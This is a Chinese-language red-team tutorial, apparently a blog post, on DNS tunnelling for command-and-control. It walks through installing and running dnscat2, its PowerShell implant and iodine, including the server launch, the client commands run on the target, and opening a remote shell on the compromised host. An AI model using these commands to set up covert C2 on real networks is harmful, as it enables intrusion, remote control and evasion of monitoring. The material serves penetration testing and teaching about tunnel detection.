DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术,虽然激增的DNS流量可能会被发现,但基于传统Socket隧道已经濒临淘汰及TCP、UDP通信大量被防御系统拦截的状况,DNS、ICMP、HTTP/HTTPS等难以被禁用的协议已经成为攻击者控制隧道的主流渠道
在网络的世界中DNS是一个不可缺少的服务,同时DNS报文本身具有穿透防火墙的能力,由于防火墙和入侵检测设备大多都不会过滤DNS流量,也为DNS成为隐蔽隧道通信创造了条件,越来越多的研究表明,DNS隧道在僵尸网络和APT攻击中扮演重要的角色,用于管理僵尸网络和进行APT攻击的服务器叫做C&C服务器(Command and Control Server,命令及控制服务器),C&C节点分为两种,分别是C&C服务器(攻击者)和C&C客户端(被控制端的计算器),C&C通信是指植入C&C客户端的木马或后门程序与C&C服务端上的远程控制程序之间的通信,正常的网络之间的通信都是在两台机器之间建立TCP连接后进行的,在进行数据通信时如果目标是IP地址,可以直接发送报文,如果目标是域名则会先将域名解析成IP地址再进行通信,两台机器建立连接后C&C服务端就可以将指令传递给C&C客户端上的木马(后门)程序让其收到控制,内网中安装了各种软/硬件防护设施来检查主机与外部网络的连接情况,很多厂商会收集C&C服务端的域名、IP地址、URL等数据,帮助防火墙进行阻断等操作,这样一来C&C通信就会被切断,于是通过各种隧道技术实现C&C通信的技术(特别是DNS隧道技术)出现了
DNS隧道的工作原理很简单,在进行DNS查询时如果查询的域名不在DNS服务器本机的缓存中就会访问互联网进行查询然后返回结果,如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换,从DNS协议的角度来看这样的操作只是一次次地查询某个特定的域名并得到解析结果,但其本质问题是预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令,域名型DNS隧道木马的通信架构,如下图所示:
在使用DNS隧道与外部进行通信时从表面上看是没有连接到外网的(内网网关没有转发IP数据包),但实际上内网的DNS服务器进行了中转操作,这就是DNS隧道的工作原理,简单的说就是将其他协议封装在DNS协议中进行传输,DNS隧道原理图如下所示:
首先我们需要知道当前服务器是否允许通过内网DNS解析外部域名,也就是要测试DNS的连通性,从下面的结果可以看到能够通过内部DNS服务器解析到外部域名,这意味着可以使用DNS隧道实现隐蔽通信:
DnsCat2是一筐开源软件,它使用DNS协议创建加密的C&C通道通过预共享秘钥进行身份验证,使用Shell以及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道,dnscat2的客户端使用C语言编写,服务端使用Ruby语言编写,严格来说DnsCat2是一个命令与控制工具
在内网安全工演练中DNS隧道的应用场景如下:
在安全策略严格的内网环境中传统的C&C通信端口会被众多安全设备所监控,RedTeam对目标内网的终端进行渗透测试,发现该网段下只允许白名单流量出站同时其他端口都被屏蔽,传统的C&C通信无法建立,在这样的情况下Red Team还有一个选择——使用DNS隐蔽隧道建立通信
DnsCat2隧道提供了两种模式:
如果目标内网放行所有DNS请求,dnscat2会使用直连模式通过UDP的53端口直接进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询),在请求日志中所有的域名都是以"dnscat"开头的,因此防火墙可以很容易地将直连模式的通信检测出来,如果目标内网中的请求仅限于白名单服务器或特定的域,dnscat2会使用中继模式来申请一个域名并将允许dnscat2服务端的服务器指定为受信任的DNS服务器。
DnsCat2通过DNS进行控制与执行命令,与同类工具相比较,DnsCat2有以下优点:
首先安装依赖:
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler
使用以下命令安装工具:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
bundle install
编译生成客户端:
cd dnscat2/client/
make
使用以下命令启动命令和控制服务器
ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.188.129" --no-cache
从此处(https://downloads.skullsecurity.org/dnscat2/)直接下载Windows系统客户端编译版本之后从目标的命令提示符执行,唯一的要求是指定DNS服务器以便与C2(命令和控制)服务器建立连接
dnscat2-v0.07-client-win32.exe --dns server=192.168.188.129
在服务端成功上线:
输入help查看使用帮助:
之后输入"session -i 1"进入交互模式:
输入help查看可用的指令:
clear
delay
download
echo
exec
help
listen
ping
quit
set
shell
shutdown
suspend
tunnels
unset
upload
window
windows
在服务端输入"shell"可以轻松获取一个shell,这同时会打开另外一个会话:
以下的输入将会出现在目标的命令提示符上:
shell交互式较为快速且所有命令将通过DNS流量传输,首先我们通过session转换到Session 2下:
之后执行命令:
调用程序
calc.exe
dnscat2也提供了其他功能,例如:文件上传、文件下载、关机、延迟等等,这里就不再多做演示了:
Luke Baggett开发了一种PowerShell版植入物,已在blackhillsinfosec(https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/)网站上介绍和描述,这些命令是相同的,但添加了其他功能,例如:交互式PowerShell会话和直接从内存运行脚本的功能,需要从目标上的PowerShell会话执行以下命令
PS C:\> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.188.129
同样会收到上线的主机(这里笔者重启了一次服务端,之前的会话已没有了,下面是新建的):
我们可以通过"exec psh"来创建一个powershell会话,之后通过session进行切换以此来进行交互:
碘的原子序数为53,二者恰好是DNS的端口号,故该工具被命名为"iodine",iodin可以通过一套DNS服务器制造一个IPv4的数据通道,特别适合在目标主机只能发送DNS请求的网络环境中使用,iodine是基于C语言开放的,分为服务端程序iodined和客户端程序iodine
iodine与同类工具相比较具备以下优点:
iodine支持直接转发和中继两种模式
1、准备2台Linux机器,其中一台作为DNS隧道的主控机,另外一台作为被控机
2、从https://github.com/yarrick/iodine上克隆项目之后运行make install以编译服务器和客户端二进制文件
3、编译成功后把服务端扔到主控机上输入iodined --help验证是否安装成功
4、把客户端扔到被控机上,输入iodine --help验证是否安装成功
PS:Windows版本下载地址———https://code.kryo.se/iodine/
在服务端机器上执行以下命令:
iodined -f -c -P 123456 192.168.188.129 abc.com -DD
参数说明:
在客户端机器上,执行以下命令:
iodine -P 123456 -f -r -T TXT 192.168.188.129 abc.com
参数说明:
在正式使用过程中我们需要先设置域名(设置成功与否可以通过网站:https://code.kryo.se/iodine/check-it/ 来查看),之后再根据以上步骤操作即可,笔者这里就不再赘述了,因为没有配置域名于此同时当客户端出现"Connectiong setup complete,transmitting data"提示信息时则表示DNS隧道已经成功建立了,之后可以进行ping测试或者ssh远程连接以及RDP远程连接等等
https://github.com/iagox86/dnscat2
https://github.com/lukebaggett/dnscat2-powershell
https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/
推 荐 阅 读
横向移动之RDP&Desktop Session Hijack